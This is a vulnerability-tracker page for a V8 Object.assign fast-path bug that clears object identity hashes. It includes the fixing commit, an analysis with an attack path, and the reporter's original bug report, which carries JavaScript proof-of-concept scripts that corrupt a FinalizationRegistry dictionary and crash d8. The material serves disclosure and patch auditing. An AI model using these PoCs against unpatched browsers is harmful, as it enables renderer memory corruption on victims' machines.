High patch-now ~ plausible CVSS 8.8 chrome OOB 📄 Reporter bug report 🔧 Commit mapped

Overview

High
Severity
8.8
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactOut of bounds write in V8
DescriptionOut of bounds write in V8
ComponentV8
Sub-componentIC
Bug ClassOOB
Action tierpatch-now — corruption primitive, web-reachable in default config (plausible) — upheld by independent review by AI
Computed by PatchGap's deterministic exploitability ruler from the fixing commit. patch-now = RCE-class & attacker-reachable in a default config, or exploited in the wild; watch = real security signal below that bar; noise = no security relevance.
Independent review by AIPlausible
Reviewer notes: Root cause matches the commit message, but the overwriting store is outside the hunk and the hash-loss-to-OOB-write link is inferred. Impact wrongly says the advisory states no severity; it lists high, CVSS 8.8.
A second, independent AI reviewer (not a human) re-derived this analysis from the fixing commit and the vendor advisory, looking for errors.
Tracker383647255
Fix commit357d0dd4bc7f (v8/v8) +7/-0
CWECWE-787 (Out-of-bounds write)
CVSS vectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
CISA KEVNot listed
Credited303f06e3
Reported2024-12-12 (per vendor advisory)
Fix landed2024-12-13 (public git)
Disclosed2024-12-18
Patch gap5 days — fix public in source before the advisory

Background

`Object.assign` fast path
A CSA fast case in src/builtins/builtins-object-gen.cc that, after checks such as to having empty elements and the source/target pair being “fast clonable” (map lookup), copies properties onto the target to without going through the generic slow path.
`properties_or_hash` slot
The JSReceiver field read by LoadJSReceiverPropertiesOrHash. It holds either EmptyFixedArray, a PropertyArray, or a Smi identity hash when the object has no out-of-object property store.
Identity hash
A per-object hash that V8 creates on demand (for example when the object is used as a Map/Set/WeakMap key). Hash tables expect it never to change for the object’s lifetime.
`CSA_DCHECK`
A debug-only assertion in CodeStubAssembler code. It adds no runtime check in release builds.

Root Cause Analysis

Verify before building a PoC

This analysis is consistent with the fixing commit but not fully provable from it: part of the vulnerable path lives in code the fix commit does not touch. Confirm the trigger and the sink against the source before relying on it for exploit development.
What the commit does not establish: Root cause matches the commit message, but the overwriting store is outside the hunk and the hash-loss-to-OOB-write link is inferred. Impact wrongly says the advisory states no severity; it lists high, CVSS 8.8.

As the commit message says, the bug is that “the Object.assign fastcase should not override the hash of the to object”. When the target to stored a Smi identity hash in its properties_or_hash slot, the pre-patch fast path still ran and overwrote that slot as it installed the cloned layout, which cleared the object’s identity hash. The diff does not show the store that does this; it lives in the fast-path code after the hunk. This breaks the invariant that an object’s identity hash, once assigned, stays stable while the object sits in hash-based collections.

The fix tightens the fast-path entry: it loads LoadJSReceiverPropertiesOrHash(to) and adds GotoIf(TaggedIsSmi(properties), &slow_path), placed before the clonability map lookup (continue_fast_path/runtime_map_lookup), so a target carrying a Smi hash goes to the slow path, which preserves it. The added CSA_DCHECK that the field is EmptyFixedArray or a PropertyArray exists only in debug builds. How the lost hash leads to the advisory’s “Out of bounds write in V8”, for example through a hash-table inconsistency once the object gets a new, different hash, is not shown in the diff and is (inferred).

Key insight
The Object.assign fast path treated the target’s properties_or_hash slot as free to overwrite and did not notice that it might hold the object’s identity hash, so it cleared that hash. The fix sends any target whose slot is a Smi hash to the slow path.

Attack Path

  1. Give the target an identity hash Script uses a plain object as a key in a hash-based collection such as Map, Set or WeakMap. V8 then records an identity hash in the object’s properties_or_hash slot as a Smi.
  2. Reach the fast case Script calls Object.assign(target, source) with a target that has empty elements and a source/target combination that passes the fast-clonable check, so the pre-patch builtin takes the fast path.
  3. Clear the hash The fast path overwrites the target’s properties_or_hash slot, removing the identity hash, while the object is still stored in the collection under its old hash.
  4. Exploit the inconsistency Later hash-based operations on that object see a missing or different hash, leaving the collection in an inconsistent state. The path from that inconsistency to the advisory’s out-of-bounds write, and any read/write primitive, is (inferred) and not shown in the patch.

Impact Assessment

Any web page that runs JavaScript can reach this bug with default settings, using only Object.assign and standard collections. It corrupts the V8 heap state in the renderer, and the advisory reports the result as an out-of-bounds write in V8. Arbitrary read/write and renderer code execution beyond that out-of-bounds write are (inferred) and are not established by the patch. The vendor advisory rates this high severity and does not report in-the-wild exploitation; NVD scores it CVSS 8.8.

Files Changed

  • src/builtins/builtins-object-gen.cc

Audit Directions

  • Writers of `properties_or_hash`
    Audit CSA, Turbofan/Maglev lowering and runtime code that installs a new property backing store or map on an existing object, such as clone or assign fast paths and map migrations. Check that each keeps an identity hash stored as a Smi, and one stored inside a PropertyArray (inferred: V8 can also keep the hash there), instead of overwriting it.
  • Fast paths reusing clone machinery on existing objects
    Clone-style fast paths built for fresh objects (the “fast clonable” map lookup) can be wrong when applied to an existing target that already has hidden state such as hashes, elements or prototype-related state. Check every precondition about the target separately.
  • Debug-only guards
    Where a fix pairs a runtime bailout with a CSA_DCHECK, make sure that in sibling code the security-relevant condition is enforced by a real branch and not only by the debug assertion.
From 357d0dd4bc7f64eb81cdf49c5cf3699cf151909d Mon Sep 17 00:00:00 2001
From: Olivier Flückiger <[email protected]>
Date: Fri, 13 Dec 2024 13:19:30 +0100
Subject: [PATCH] [ic] fix Object.assign clearing object hashes

The Object.assign fastcase should not override the hash of the to
object.

Bug: 383647255
Change-Id: I8d7c9a5c4d1ec190f563e52a150c2f3a51ff7c71
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/6092869
Auto-Submit: Olivier Flückiger <[email protected]>
Reviewed-by: Igor Sheludko <[email protected]>
Commit-Queue: Igor Sheludko <[email protected]>
Cr-Commit-Position: refs/heads/main@{#97758}
---

diff --git a/src/builtins/builtins-object-gen.cc b/src/builtins/builtins-object-gen.cc
index 3d6d5d4..43b1153 100644
--- a/src/builtins/builtins-object-gen.cc
+++ b/src/builtins/builtins-object-gen.cc
@@ -511,6 +511,13 @@
     GotoIfNot(TaggedEqual(LoadElements(CAST(to)), EmptyFixedArrayConstant()),
               &slow_path);
 
+    // Ensure the properties field is not used to store a hash.
+    TNode<Object> properties = LoadJSReceiverPropertiesOrHash(to);
+    GotoIf(TaggedIsSmi(properties), &slow_path);
+    CSA_DCHECK(this,
+               Word32Or(TaggedEqual(properties, EmptyFixedArrayConstant()),
+                        IsPropertyArray(CAST(properties))));
+
     Label continue_fast_path(this), runtime_map_lookup(this, Label::kDeferred);
 
     // Check if our particular source->target combination is fast clonable.
Loading diff…

Original Bug Report

reported by [email protected]

Incorrect implementation of the fast path in Object.assign() lead to memory corruption.

Security Bug

Important: Please do not change the component of this bug manually.

Please READ THIS FAQ before filing a bug: https://chromium.googlesource.com/chromium/src/+/HEAD/docs/security/faq.md

Please see the following link for instructions on filing security bugs: https://www.chromium.org/Home/chromium-security/reporting-security-bugs

Reports may be eligible for reward payments under the Chrome VRP: https://g.co/chrome/vrp

NOTE: Security bugs are normally made public once a fix has been widely deployed.


VULNERABILITY DETAILS

1 Object.assign()

This vulnerability is located in the fast path implementation of Object.assign(). Consider the following example:

let to = {};
let from = {0: 0};
Object.assign(to, from);
%DebugPrint(from);

If the object being assigned is {}, then after executing Object.assign(), the transitions array of the from object’s hidden class will add Sidestep transitions, where:

  • Object.assign-map represents the hidden class of to after assignment.
  • Object.assign-validity-cell: indicates whether it is still valid.
0x37c000882735: [Map]
 - map: 0x37c0008819b5 <MetaMap (0x37c000881a05 <NativeContext[300]>)>
 - type: JS_OBJECT_TYPE
 - instance size: 28
 - inobject properties: 4
 - unused property fields: 4
 - elements kind: HOLEY_ELEMENTS
 - enum length: invalid
 - back pointer: 0x37c000000011 <undefined>
 - prototype_validity cell: 0x37c000000a81 <Cell value= 1>
 - instance descriptors (own) #0: 0x37c000000779 <DescriptorArray[0]>
 - transitions #0: 0x37c00088275d <TransitionArray[3]>
   Transitions #0:
   Prototype transitions #1: 0x37c000882771 <WeakFixedArray[3]>
   Sidestep transitions #3: 0x37c000048f25 <WeakFixedArray[3]>
     Clone-object-IC-map -> 0
     Object.assign-map -> [weak] 0x37c000882735 <Map[28](HOLEY_ELEMENTS)>
     Object.assign-validity-cell -> [weak] 0x37c000199605 <Cell value= 0>
 - prototype: 0x37c000882909 <Object map = 0x37c000881f15>
 - constructor: 0x37c000882429 <JSFunction Object (sfi = 0x37c00002adf9)>
 - dependent code: 0x37c000000755 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
 - construction counter: 0

When Object.assign({}, from) is executed again, various checks will be performed first. If the Sidestep transitions of from_map are still valid, it will enter the fast path of Object.assign() to implement object assignment.

TF_BUILTIN(ObjectAssign, ObjectBuiltinsAssembler) {
  ...
  TNode<JSReceiver> to = ToObject_Inline(context, target);
  ...

  Label done_fast_path(this), slow_path(this);
  GotoIfForceSlowPath(&slow_path);
  {
    TNode<JSReceiver> from = ToObject_Inline(context, source);
    TNode<Map> from_map = LoadMap(from);
    ...    // all kinds of check

    TVARIABLE(Map, clone_map);
    {
      // Load the Transitions array from from_map, go to the runtime branch if it doesn't exist
      TNode<MaybeObject> maybe_transitions = LoadMaybeWeakObjectField(from_map, Map::kTransitionsOrPrototypeInfoOffset);
      TNode<HeapObject> maybe_transitions2 = GetHeapObjectIfStrong(maybe_transitions, &runtime_map_lookup); 
      GotoIfNot(IsTransitionArrayMap(LoadMap(maybe_transitions2)), &runtime_map_lookup);

      TNode<WeakFixedArray> transitions = CAST(maybe_transitions2);

      // Get side_step_transitions from Transitions Array, if it's still SMI, then go to the runtime branch
      TNode<Object> side_step_transitions = CAST(LoadWeakFixedArrayElement(
          transitions,
          IntPtrConstant(TransitionArray::kSideStepTransitionsIndex)));
      GotoIf(TaggedIsSmi(side_step_transitions), &runtime_map_lookup);

      // Load Object.assign-map from side_step_transitions, which is the map of 'to' after assignment
      TNode<MaybeObject> maybe_target_map = LoadWeakFixedArrayElement(
          CAST(side_step_transitions),
          IntPtrConstant(SideStepTransition::index_of(
              SideStepTransition::Kind::kObjectAssign)));
      // If maybe_target_map = unreachable, then it means it can't fast clone, go to the slow branch 
      GotoIf(TaggedEqual(maybe_target_map,
                         SmiConstant(SideStepTransition::Unreachable)),
             &slow_path);

      // If maybe_target_map = Empty, then it means it hasn't been calculated yet, go to the runtime_map_lookup branch
      GotoIf(
          TaggedEqual(maybe_target_map, SmiConstant(SideStepTransition::Empty)),
          &runtime_map_lookup);

      // target_map is the hidden class after copying from object to to object
      TNode<Map> target_map =
          CAST(GetHeapObjectAssumeWeak(maybe_target_map, &runtime_map_lookup));
      // Deprecated, go to the runtime_map_lookup branch
      GotoIf(IsDeprecatedMap(target_map), &runtime_map_lookup);

      // Get the Cell corresponding to Object.assign-validity-cell from the side_step_transitions array
      TNode<MaybeObject> maybe_validity_cell = LoadWeakFixedArrayElement(
          CAST(side_step_transitions),
          IntPtrConstant(SideStepTransition::index_of(
              SideStepTransition::Kind::kObjectAssignValidityCell)));
      // Check if side_step_transitions is still valid
      TNode<Cell> validity_cell = CAST(
          GetHeapObjectAssumeWeak(maybe_validity_cell, &runtime_map_lookup));
      GotoIfNot(TaggedEqual(LoadCellValue(validity_cell),
                            SmiConstant(Map::kPrototypeChainValid)),
                &runtime_map_lookup);
      // Finally found clone_map, can go to the fast path
      clone_map = target_map;
    }
    Goto(&continue_fast_path);
    ...

    // Check is done, enter the fast path to assign the object
    BIND(&continue_fast_path);

    FastCloneJSObject(
        from, 
        from_map, 
        clone_map.value(),
        [&](TNode<Map> map, TNode<HeapObject> properties, TNode<FixedArray> elements) {
          StoreMap(to, clone_map.value());    // Write to the map field of the 'to' object
          StoreJSReceiverPropertiesOrHash(to, properties);   // Write to the properties field of the 'to' object
          StoreJSObjectElements(CAST(to), elements); // Write to the elements field of the 'to' object
          return to;
        },
        false /* target_is_new */
    );
    ... 
  }
  ... 
}

The vulnerability appears in FastCloneJSObject(), which has four parameters:

  1. from: the source object
  2. from_map: the hidden class of the source object
  3. clone_map.value(): the hidden class of the target object after assignment
  4. A lambda method:
    1. FastCloneJSObject() will create objects for the target object’s map, properties, elements fields and then call back this lambda method.
    2. This method is responsible for initializing the target object and will directly write the passed map, properties, elements parameters into the corresponding fields of the target object.

We focus on FastCloneJSObject()’s handling of the properties field.

template <typename Function>
TNode<Object> CodeStubAssembler::FastCloneJSObject(
    TNode<HeapObject> object, TNode<Map> source_map, TNode<Map> target_map,
    const Function& materialize_target, bool target_is_new) {
  ...

  // Copy the PropertyArray backing store. The source PropertyArray
  // must be either an Smi, or a PropertyArray.
  Comment("FastCloneJSObject: cloning properties");
  TNode<Object> source_properties =
      LoadObjectField(object, JSObject::kPropertiesOrHashOffset);
  {
    GotoIf(TaggedIsSmi(source_properties), &done_copy_properties);
    GotoIf(IsEmptyFixedArray(source_properties), &done_copy_properties);

    // This fastcase requires that the source object has fast properties.
    TNode<PropertyArray> source_property_array = CAST(source_properties);

    TNode<IntPtrT> length = LoadPropertyArrayLength(source_property_array);
    GotoIf(IntPtrEqual(length, IntPtrConstant(0)), &done_copy_properties);

    TNode<PropertyArray> property_array = AllocatePropertyArray(length);
    FillPropertyArrayWithUndefined(property_array, IntPtrConstant(0), length);
    CopyPropertyArrayValues(source_property_array, property_array, length,
                            SKIP_WRITE_BARRIER, DestroySource::kNo);
    var_properties = property_array;
  }
  ...

  Comment("FastCloneJSObject: initialize the target object");
  TNode<JSReceiver> target = materialize_target(
      target_map, var_properties.value(), var_elements.value());
  ...
}

We found that when the JSObject::kPropertiesOrHashOffset field of the source object is not an SMI (in other words, it has not been used to record the hash value of the object), then var_properties is the address of the PropertyArray object. The subsequent materialize_target method will directly write the PropertyArray object into the JSObject::kPropertiesOrHashOffset field of the to object.

2 overwrite properties_or_hash field

The above process overlooks a special case: What happens if the JSObject::kPropertiesOrHashOffset field of the to object is used to record the hash value of the object?

The properties_or_hash field in JSObject is a reused field:

  • If properties_or_hash is an SMI, then this field is used to record the hash value of the object.
  • If properties_or_hash is a tagged pointer, then this field is a pointer to the properties backing storage.
extern class JSReceiver extends HeapObject {
  properties_or_hash: SwissNameDictionary|FixedArrayBase|PropertyArray|Smi;
}

When JSObject::properties_or_hash points to an empty array and there is a need to record the hash value of the object, the hash value will be directly written into the properties_or_hash field.

Later, if there is a need to add properties, JSObject::properties_or_hash will point to the PropertyArray object, and the hash value will be moved into the PropertyArray object.

int GetIdentityHashHelper(Tagged<JSReceiver> object) {
  DisallowGarbageCollection no_gc;
  Tagged<Object> properties = object->raw_properties_or_hash();
  if (IsSmi(properties)) {
    return Smi::ToInt(properties);
  }

  if (IsPropertyArray(properties)) {
    return Cast<PropertyArray>(properties)->Hash();
  }

  if (IsPropertyDictionary(properties)) {
    return Cast<PropertyDictionary>(properties)->Hash();
  }

  if (IsGlobalDictionary(properties)) {
    return Cast<GlobalDictionary>(properties)->Hash();
  }
  ...

  return PropertyArray::kNoHashSentinel;
}

Therefore, in the fast path of Object.assign(), the hash value recorded in properties_or_hash of the to object is directly overwritten as a pointer, causing the hash value of to to be lost.

So, this vulnerability provides us with such a primitive: if obj = {}, then calling Object.assign(obj, {}) twice, we can overwrite the hash value recorded in the raw_properties_or_hash field of obj.

Here is the Proof of Concept (POC):

// WeakMap
let weakMap = new WeakMap();

let obj = {};
// The  properties_or_hash field of obj is SMI, used to record hash
weakMap.set(obj, 'value');

function overwrite_obj_hash(obj) {
    let from = {};
    // generate Sidestep transitions in from_map
    Object.assign(obj, from);
    // The properties_or_hash field of obj is overwritten with the address of an object.
    Object.assign(obj, from);
}

// return true
print(weakMap.has(obj));

overwrite_obj_hash(obj);

// return false
print(weakMap.has(obj));

But you might not like this POC because it doesn’t crash. So let’s go a step further to prove that this is a security vulnerability.

3 DCHECK Fail

This vuln breaks the assumptions about JSObject::properties_or_hash in the code. The poc.js in REPRODUCTION CASE only shows one situation. Next, I will explain why DCHECK failed.

The crash occurs in the handling of unregister_token in FinalizationRegistry.

FinalizationRegistry is used to trigger a specific callback function when an object is GCed. The related data structure is as follows:

extern class JSFinalizationRegistry extends JSObject {
    native_context: NativeContext;
    cleanup: Callable; // The callback function to be called during garbage collection
    active_cells: Undefined|WeakCell; // The linked list of all live objects registered to the FinalizationRegistry
    cleared_cells: Undefined|WeakCell; // If objects in active_cells are garbage collected but the cleanup callback is not called, they would be placed in this linked list
    key_map: Object; // dictionary Map: unregister_token=>WeakCell
    
    // The linked list of FinalizationRegistries that need to be cleaned up
    next_dirty: Undefined|JSFinalizationRegistry;
    flags: SmiTagged<FinalizationRegistryFlags>;
}

WeakCell stores the information registered by a registry.register(target, holdings, unregister_token) call.

extern class WeakCell extends HeapObject {
    finalization_registry: Undefined|JSFinalizationRegistry; // The FinalizationRegistry to which this belongs
    target: Undefined|JSReceiver|Symbol; // The target object being observed
    unregister_token: Undefined|JSReceiver|Symbol; // The token used for unregistration
    holdings: JSAny; // The parameter for the cleanup callback
    
    // Used to store WeakCell in the active_cells and cleared_cells lists of JSFinalizationRegistry
    // as a doubly-linked list
    prev: Undefined|WeakCell;
    next: Undefined|WeakCell;
    
    // JSFinalizationRegistry::key is a hash table, hash collisions are resolved through a linked list
    // For unregister_tokens with the same hash, the corresponding WeakCells are stored as a doubly-linked list
    key_list_prev: Undefined|WeakCell;
    key_list_next: Undefined|WeakCell;
}

The FinalizationRegistry::key_map field points to a SimpleNumberDictionary object, which is used to implement the mapping from unregister_token to WeakCell.

Assume that an object is registered with registry.register(target, undefined, unreg_token), and subsequently the target object is garbage collected. At this point, it is impossible to call registry.unregister(unreg_token) to unregister it, so the RemoveCellFromUnregisterTokenMap() method is called to remove unreg_token from FinalizationRegistry::key_map.

The relevant handling code is as follows.

void JSFinalizationRegistry::RemoveCellFromUnregisterTokenMap(
    Isolate* isolate, Tagged<WeakCell> weak_cell) {
  DisallowGarbageCollection no_gc;
  Tagged<Undefined> undefined = ReadOnlyRoots(isolate).undefined_value();

  // weak_cell->key_list_prev==undefined means weak_cell is the head node of a hash linked list in a slot
  if (IsUndefined(weak_cell->key_list_prev(), isolate)) { 
    Tagged<SimpleNumberDictionary> key_map = Cast<SimpleNumberDictionary>(this->key_map());
    // unregister_token is an object, its hash value is obtained through the properties_or_hash field
    Tagged<HeapObject> unregister_token = weak_cell->unregister_token();
    uint32_t key = Smi::ToInt(Object::GetHash(unregister_token));
    // Query the corresponding table entry based on the key
    InternalIndex entry = key_map->FindEntry(isolate, key);
    // At this point, properties_or_hash is modified to FixedArray[0] by Object.assign(), so it cannot be found, DCHECK fails
    DCHECK(entry.is_found());    

    if (IsUndefined(weak_cell->key_list_next(), isolate)) { // There is only weak_cell in the linked list pointed to by the slot
      // weak_cell is the only one associated with its key; remove the key
      // from the hash table.
      key_map->ClearEntry(entry);
      key_map->ElementRemoved();
    } else { // There is more than one weak_cell in the linked list pointed to by the slot, but now weak_cell is to be deleted
      // The next node of weak_cell becomes the head node
      Tagged<WeakCell> next = Cast<WeakCell>(weak_cell->key_list_next());
      // Clear the prev pointer
      next->set_key_list_prev(undefined);
      // Set the value of the entry to next
      key_map->ValueAtPut(entry, next);
    }
  } else { // weak_cell->key_list_prev!=undefined means weak_cell is a node in the middle of the hash linked list
    ...
  }
  ...
}

We need to pay attention to the check DCHECK(entry.is_found()).

RemoveCellFromUnregisterTokenMap() is only used to handle the unregister_token field of the WeakCell taken from the JSFinalizationRegistry::cleared_cells linked list. When a WeakCell is inserted into the JSFinalizationRegistry linked list, it calculates the hash value of the unregister_token and inserts it into FinalizationRegistry::key_map.

Therefore, it is assumed here that the unregister_token of the WeakCell can definitely find the corresponding entry in FinalizationRegistry::key_map. However, through the vulnerability of Object.assign(), we overwrite the hash value of unregister_token recorded in properties_or_hash, so the corresponding entry cannot be found, and DCHECK fails.

This is what happens in the POC.

4 SEGV Fault

Since the hash value of unregister_token is overridden, it cannot find the corresponding entry in FinalizationRegistry::key_map, so the returned entry is actually -1.

In the release build of v8, it will continue to execute after DCHECK(entry.is_found());

SimpleNumberDictionary is based on FixedArray implementation, an Entry occupies two slots. If entry=-1, then when writing the key and value of this Entry, it will actually overwrite the num_del and capacity fields, damaging the metadata fields of the dictionary.

JSFinalizationRegistry::key_map
    |
    |    FixedArray
    +-> +-----------+
        | num_eles  | 1
        +-----------+
        | num_del   | <= overwrite
        +-----------+
        | capacity  | <= overwrite 
        +-----------+ 
        |   key0    |    
        +-----------+    
        |  value0   |    
        +-----------+
        |    ...    |

This will cause the capacity of SimpleNumberDictionary to be exceptionally large. For this, I constructed the following POC. If it runs in the release build of v8, it will trigger a segmentation fault.

/* poc_SEGV.js */
function CleanUp() {
    print("CleanUp");

    // trigger SEGV fault
    for(let i=0; i<10; i++) {
        registry.register({"target": 3+i}, 3+i, {"token": 3+i});
    }
}

const registry = new FinalizationRegistry(CleanUp);

let target1 = {
    "a": 1
};
let target2 = {
    "a": 2
};

let unreg_token = {
};

registry.register(target1, 1, unreg_token);
registry.register(target2, 2, unreg_token);

// overwrite properties_or_hash field of unreg_token
for(let i=0; i<2; i++) 
    Object.assign(unreg_token, {});   

target2 = undefined;
gc({type: "major"});

/*
./d8 \
    --expose-gc \
    ./poc_SEGV.js
*/

5 Commit Bisect

The root cause of the vulnerability lies in the fast path handling of Object.assign({}, ...). This feature was introduced in commit b8431f57e0fc19223e9371ccaf7e99a9b9a061f0.

VERSION

The vulnerability originates from commit b8431f57e0fc19223e9371ccaf7e99a9b9a061f0 up to the latest.

According to the commit history, I found that clone_object_sidestep_transitions was turned off by default for a period of time, and it was only recently turned on by default. Therefore, if you can’t trigger it, please add the --clone-object-sidestep-transitions option.

REPRODUCTION CASE

POC:

/* poc.js */ 

// Prepare a finalization registry
function CleanUp() {
    print("CleanUp");
}
const registry = new FinalizationRegistry(CleanUp);

// The target object to be registered
let target = {
};
// The token used when unregistering from the registry
let unreg_token = {
};
// Register to registry: trigger the callback function when target is GC'ed
registry.register(target, undefined, unreg_token);

// The first time it is executed, it writes sidestep transition in map of unreg_token
// The second time it enters the fast path of Object.assign()
// properties_or_hash field of unreg_token is overwritten as FixedArray[0]
for(let i=0; i<2; i++) 
    Object.assign(unreg_token, {});   

// Let the target be garbage collected, then trigger the registry's finalization
// At this time, it will delete the entry from UnregisterTokenMap with unreg_token's properties_or_hash as the key
// But at this point, properties_or_hash has been overwritten as a pointer, it cannot be found, so DCHECK fails
target = undefined;
gc({type: "major"});

run as:

./d8 \
    --expose-gc \
    ./poc.js

you will get crash:

# Fatal error in ../../src/objects/js-weak-refs.cc, line 106
# Debug check failed: entry.is_found().

CREDIT INFORMATION

Externally reported security bugs may appear in Chrome release notes. If this bug is included, how would you like to be credited? Reporter credit: 303f06e3

View on issue tracker